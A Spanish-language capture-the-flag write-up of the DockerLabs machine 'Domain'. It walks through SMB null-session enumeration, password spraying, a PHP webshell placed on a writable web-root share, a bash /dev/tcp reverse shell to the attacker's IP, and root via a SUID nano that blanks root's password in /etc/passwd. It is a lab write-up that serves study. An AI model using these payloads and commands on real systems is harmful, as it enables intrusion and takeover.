Domain
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Domain se abre por Samba: una sesión nula lista los usuarios (bob,james), un password spraying concrackmapexecda conbob:star, y su recursohtml(la raíz de Apache) tiene permiso de escritura. Se sube una webshell PHP, se salta a una revshell comowww-data, se reutiliza la contraseña debobpara migrar a su cuenta, y elnanocon bit SUID permite editar/etc/passwdpara dejar a root sin contraseña.
Reconocimiento
Escaneo de puertos
Es una máquina DockerLabs, así que trabajamos contra la IP del contenedor, 172.17.0.2. El escaneo se apoya en tres funciones del .zshrc; van con su código para que el barrido sea reproducible sin ellas. La primera, jmap, lanza un escaneo TCP de los 65535 puertos:
jmap () {
echo -e "\n[+] Introduce una IP\n"
read ip
echo
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open $ip -oG scan
}Es decir, el comando real es:
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 172.17.0.2 -oG scan
Discovered open port 80/tcp on 172.17.0.2
Discovered open port 445/tcp on 172.17.0.2
Discovered open port 139/tcp on 172.17.0.2
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 64
139/tcp open netbios-ssn syn-ack ttl 64
445/tcp open microsoft-ds syn-ack ttl 64
MAC Address: 02:42:AC:11:00:02 (Unknown)El ttl 64 confirma Linux, y la MAC 02:42:AC:... es del rango que Docker asigna a sus contenedores: coherente con que esto sea un laboratorio en contenedor. La segunda función, extractPorts, parsea el fichero scan y deja los puertos en el portapapeles:
extractPorts scan
Extracting information...
IP Address: 172.17.0.2
Open ports: 80,139,445
Ports copied to clipboardY la tercera, jmap2, lanza versiones y scripts por defecto solo contra esos tres puertos:
nmap -p80,139,445 -sCV 172.17.0.2
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: \xC2\xBFQu\xC3\xA9 es Samba?
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
MAC Address: 02:42:AC:11:00:02 (Unknown)
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not requiredDos servicios: un Apache 2.4.52 y Samba 4.6.2 sobre 139/445. El propio título de la web (¿Qué es Samba?, que nmap escapa como \xC2\xBF...) adelanta por dónde va la caja.
El sitio web - TCP 80
La web no es una aplicación, es una página estática que explica qué es Samba. No hay formularios ni enlaces: es una pista temática, no una superficie de ataque.

Toda la atención va, entonces, al SMB.
Enumeración SMB: recursos y usuarios
crackmapexec con sesión anónima (-u '' -p '') primero lista los recursos compartidos. Aparecen tres:
crackmapexec smb 172.17.0.2 -u '' -p '' --shares 2>/dev/null
SMB 172.17.0.2 445 384324EFEFF2 [*] Windows 6.1 Build 0 (name:384324EFEFF2) (domain:384324EFEFF2) (signing:False) (SMBv1:False)
SMB 172.17.0.2 445 384324EFEFF2 [+] 384324EFEFF2\:
SMB 172.17.0.2 445 384324EFEFF2 [+] Enumerated shares
SMB 172.17.0.2 445 384324EFEFF2 Share Permissions Remark
SMB 172.17.0.2 445 384324EFEFF2 ----- ----------- ------
SMB 172.17.0.2 445 384324EFEFF2 print$ Printer Drivers
SMB 172.17.0.2 445 384324EFEFF2 html HTML Share
SMB 172.17.0.2 445 384324EFEFF2 IPC$ IPC Service (384324efeff2 server (Samba, Ubuntu))El recurso html llama la atención de inmediato: por el comentario "HTML Share" y por el nombre, apunta a la raíz del Apache que acabamos de ver. La sesión nula no muestra permisos aquí, pero eso lo resolveremos con credenciales. Antes, la misma sesión anónima enumera los usuarios del sistema. La vía LDAP falla (no hay DC detrás, esto es Samba a secas), pero crackmapexec reintenta por SAMRPC y saca las cuentas:
crackmapexec smb 172.17.0.2 -u '' -p '' --users 2>/dev/null
SMB 172.17.0.2 445 384324EFEFF2 [-] Error enumerating domain users using dc ip 172.17.0.2: socket connection error while opening: [Errno 111] Connection refused
SMB 172.17.0.2 445 384324EFEFF2 [*] Trying with SAMRPC protocol
SMB 172.17.0.2 445 384324EFEFF2 [+] Enumerated domain user(s)
SMB 172.17.0.2 445 384324EFEFF2 384324EFEFF2\james
SMB 172.17.0.2 445 384324EFEFF2 384324EFEFF2\bobDos cuentas: bob y james. Ese error de LDAP no es un fallo del ataque, es información: confirma que detrás no hay un controlador de dominio real, solo un Samba local.
Acceso: spraying + recurso escribible
Password spraying
Tenemos usuarios pero no contraseñas. En lugar de fijar una contraseña y barrer usuarios (lo habitual para no bloquear cuentas), aquí solo hay dos cuentas, así que se fija cada usuario y se prueba el diccionario entero contra ella. crackmapexec marca en verde el acierto; el grep -v '[-]' esconde la marea de fallos.
crackmapexec smb 172.17.0.2 -u 'bob' -p <rockyou.txt> 2>/dev/null | grep -v '[-]'
SMB 172.17.0.2 445 384324EFEFF2 [*] Windows 6.1 Build 0 (...) (signing:False) (SMBv1:False)
SMB 172.17.0.2 445 384324EFEFF2 [+] 384324EFEFF2\bob:starLa contraseña de bob es star. El mismo ataque contra james no llega a nada (se interrumpe con Ctrl+C sin ningún positivo), así que bob es la única vía:
crackmapexec smb 172.17.0.2 -u 'james' -p <rockyou.txt> 2>/dev/null | grep -v '[-]'
SMB 172.17.0.2 445 384324EFEFF2 [*] Windows 6.1 Build 0 (...) (signing:False) (SMBv1:False)
^C^CRecurso html con escritura
Ahora sí, con credenciales, smbmap muestra los permisos reales por recurso. Y ahí está el premio: html es de lectura y escritura.
smbmap -H 172.17.0.2 -u "bob" -p "star"
[+] IP: 172.17.0.2:445 Name: 172.17.0.2 Status: Authenticated
Disk Permissions Comment
---- ----------- -------
print$ READ ONLY Printer Drivers
html READ, WRITE HTML Share
IPC$ NO ACCESS IPC Service (384324efeff2 server (Samba, Ubuntu))Poder escribir en la raíz de Apache lo cambia todo: un fichero PHP subido ahí se ejecuta al pedirlo por el navegador. Es un file upload a RCE de manual.
Shell como www-data
Subir la webshell
Se prepara un PHP mínimo que ejecuta lo que llegue por el parámetro cmd:
nano revshell.php
<?php
system($_GET['cmd']);
?>![el contenido de revshell.php: system($_GET['cmd'])](../assets/img/domain/dom-php-code-211920.webp)
Y se sube al recurso html con smbclient:
smbclient -U bob //172.17.0.2/html
smb> put revshell.php
Password for [WORKGROUP\bob]:
smb: \> put revshell.php
putting file revshell.php as \revshell.php (16.1 kb/s) (average 16.1 kb/s)Un ?cmd=id confirma la ejecución remota como www-data:

De webshell a revshell
Con la webshell ya podemos ejecutar comandos, pero una shell interactiva es mucho más cómoda. Se pone la máquina atacante a la escucha:
nc -nlvp 1234
listening on [any] 1234 ...Y se lanza el one-liner de Bash por el parámetro cmd. Los & van codificados como %26 para que la URL no los interprete como separadores y el payload llegue entero:

http://172.17.0.2/revshell.php?cmd=bash -c "bash -i >%26 /dev/tcp/172.17.0.1/1234 0>%26 1"La petición se queda cargando y no devuelve nada, que es justo lo esperado: el bash remoto queda enganchado a nuestra conexión en lugar de terminar. La shell cae en el listener como www-data:

connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 34762
bash: cannot set terminal process group (25): Inappropriate ioctl for device
bash: no job control in this shell
www-data@384324efeff2:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)Los avisos de job control son normales en una shell no interactiva recién ganada; se arreglan al tratar la TTY en el siguiente paso.
Escalada de privilegios
Situarse
Un vistazo rápido al sistema antes de escalar: usuario, kernel y host.
echo -e "\nSO: "$(uname) && echo "Kernel Version: "$(uname -r) && echo "User: "$(whoami) && echo "Machine Name: "$(hostname) && echo "IP(s): "$(hostname -I) && echo -e "Information User: "$(id)"\n"
SO: Linux
Kernel Version: 6.10.11-amd64
User: www-data
Machine Name: 384324efeff2
IP(s): 172.17.0.2
Information User: uid=33(www-data) gid=33(www-data) groups=33(www-data)www-data no tiene grupos interesantes ni nada propio que abusar. Pero ya conocemos una contraseña.
www-data → bob (reutilización de contraseña)
La reutilización de credenciales es lo primero que se prueba: bob:star era de SMB, pero las mismas credenciales suelen valer también para la cuenta local. Tras cambiar de usuario, se estabiliza la TTY con script para tener una shell en condiciones:
su bob
# password: star
script /dev/null -c bash
www-data@384324efeff2:/var$ su bob
Password: star
bob@384324efeff2:/var$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
bob@384324efeff2:~$ ls -la
total 20
drwxr-x--- 2 bob bob 4096 Apr 11 2024 .
-rw-r--r-- 1 bob bob 220 Apr 11 2024 .bash_logout
-rw-r--r-- 1 bob bob 3771 Apr 11 2024 .bashrc
-rw-r--r-- 1 bob bob 807 Apr 11 2024 .profileYa somos bob.
bob → root (nano SUID sobre /etc/passwd)
Buscando binarios con bit SUID (los que se ejecutan con los permisos de su dueño, normalmente root), aparece uno que no debería estar ahí:
find / -perm -4000 2>/dev/null
/usr/bin/chsh
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/nanoEntre los SUID normales del sistema (su, passwd, mount...) se cuela /usr/bin/nano. Un editor con SUID lee y escribe cualquier fichero como root, así que basta con abrir /etc/passwd. En lugar de inyectar un usuario nuevo, la vía más limpia es borrar la x del campo de contraseña de root: ese campo apunta a que el hash está en /etc/shadow, y dejarlo vacío significa "sin contraseña".
/usr/bin/nano /etc/passwd

root:x:0:0:root:/root:/bin/bash → root::0:0:root:/root:/bin/bash
...
bob:x:1000:1000:bob,,,:/home/bob:/bin/bash
james:x:1001:1001:james,,,:/home/james:/bin/bashCon la x eliminada, su root entra sin pedir contraseña:
su root
id
root@384324efeff2:/tmp# su root
root@384324efeff2:/tmp# id
uid=0(root) gid=0(root) groups=0(root)Somos root. Máquina comprometida.
Cadena de ataque
SMB sesion nula -> usuarios bob, james (SAMRPC, porque LDAP falla: no hay DC)
└─> password spraying (crackmapexec) -> bob:star (james sin resultado)
└─> recurso html escribible (smbmap) -> webshell PHP (smbclient put)
└─> ?cmd=... one-liner -> revshell www-data
└─> su bob (misma contraseña) -> bob
└─> nano SUID edita /etc/passwd (root sin contraseña) -> su rootLecciones aprendidas
- La sesión nula de SMB regala el mapa. La lista de usuarios convierte un spraying a ciegas en uno dirigido; sin ella habría que adivinar también las cuentas. Y el error de LDAP, lejos de estorbar, confirmó que detrás solo había un Samba local.
- Escritura en la raíz web es RCE. Cualquier recurso SMB montado sobre
/var/www/htmlcon permiso de escritura permite subir un.phpy ejecutarlo desde el navegador. - La misma contraseña vale en varios sitios. Que
bob:starfuncione en SMB y ensues el clásico reciclaje de credenciales; una cuenta de servicio no debería compartir clave con una de sistema. nanocon SUID es root. El bit SUID sobre un editor da lectura y escritura arbitrarias; editar/etc/passwdpara quitar la contraseña de root es el atajo más limpio, más rápido que crackear un hash o inyectar una cuenta nueva.